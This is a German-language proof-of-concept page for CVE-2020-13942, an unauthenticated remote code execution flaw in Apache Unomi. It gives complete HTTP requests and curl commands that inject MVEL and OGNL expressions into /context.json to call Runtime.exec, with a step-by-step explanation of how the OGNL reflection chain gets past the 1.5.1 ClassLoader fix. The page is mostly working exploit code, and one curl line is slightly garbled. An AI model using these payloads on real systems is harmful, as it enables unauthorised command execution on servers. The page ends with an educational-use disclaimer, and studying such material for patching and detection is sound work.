
CVE-2020-13942 unauthentifizierter RCE POC durch MVEL- und OGNL-Injektion
Ursprünglicher Blogbeitrag über die Sicherheitslücke: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
Es gibt zwei RCE-Vektoren: durch MVEL-Injection und durch OGNL-Injection. Beide Vektoren zielen auf unterschiedlichen Code ab, obwohl die Payloads relativ ähnlich aussehen. Der vorherige CVE-Fix https://nvd.nist.gov/vuln/detail/CVE-2020-11975 versuchte, die Ausführung von OGNL-Ausdrücken einzuschränken, übersah aber MVEL vollständig. Der CVE-2020-13942 umgeht den in 1.5.1 vorgenommenen Fix.
Senden Sie die folgenden HTTP-Anfragen mit BurpSuite oder curl an die von Unomi bereitgestellte context.js\json und erhalten Sie RCE. Ändern Sie Host und Content-Length entsprechend Ihrer Ziel-URL und dem Betriebssystembefehl.
Beide POCs können als Antwort HTTP/1.1 400 Header Folding erhalten, was bedeutet, dass \r\n im Payload durcheinandergeraten sind. Versuchen Sie, es noch einmal zu kopieren und einzufügen.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'
OGNL POC umgeht die in Version 1.5.1 eingeführte ClassLoader-Einschränkung. Mit der Java-Reflections-API ist es möglich, ein Objekt zu erstellen, ohne die Methode ClassLoader.loadClass auszulösen, die die ausgewerteten OGNL-Ausdrücke einschränkt.
Die Aufschlüsselung des OGNL-Payload-Ausdrucks:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") erzeugt ein java.lang.Runtime-Class-Objekt, wobei #this die Referenz auf das Kontextobjekt ist.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] holt die Methodenliste der Runtime-Klasse über Reflections und wählt die getRuntime-Methode aus der Liste aus. Der Teil {^ #this.name.equals(\"getRuntime\")} des Ausdrucks sucht nach einer Methode mit dem Namen getRuntime und gibt eine Liste der Methoden zurück, die die Bedingung erfüllen; die erste und einzige Methode dieser Liste ist getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) ruft die Methode getRuntime() auf und erhält das Runtime-Objekt.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) holt die Methoden der Runtime-Klasse und extrahiert Runtime.exec() mit einem einzelnen String-Argument aus der Methodenliste.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") ruft Runtime.exec() mit dem angegebenen Argument auf.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'
Alle auf dieser Seite bereitgestellten Informationen dienen ausschließlich zu Bildungszwecken. Die Informationen auf dieser Website sollten nur zur Verbesserung der Sicherheit Ihrer Computersysteme und nicht zur Durchführung böswilliger oder schädigender Angriffe verwendet werden.
Sie sollten diese Informationen nicht missbrauchen, um unbefugten Zugriff auf Computersysteme zu erlangen. Beachten Sie auch, dass Hackversuche auf Computern, die Ihnen nicht gehören, ohne schriftliche Genehmigung der Eigentümer illegal sind.
Ich übernehme keine Verantwortung für direkte oder indirekte Schäden, die durch die Nutzung der auf dieser Website bereitgestellten Informationen entstehen.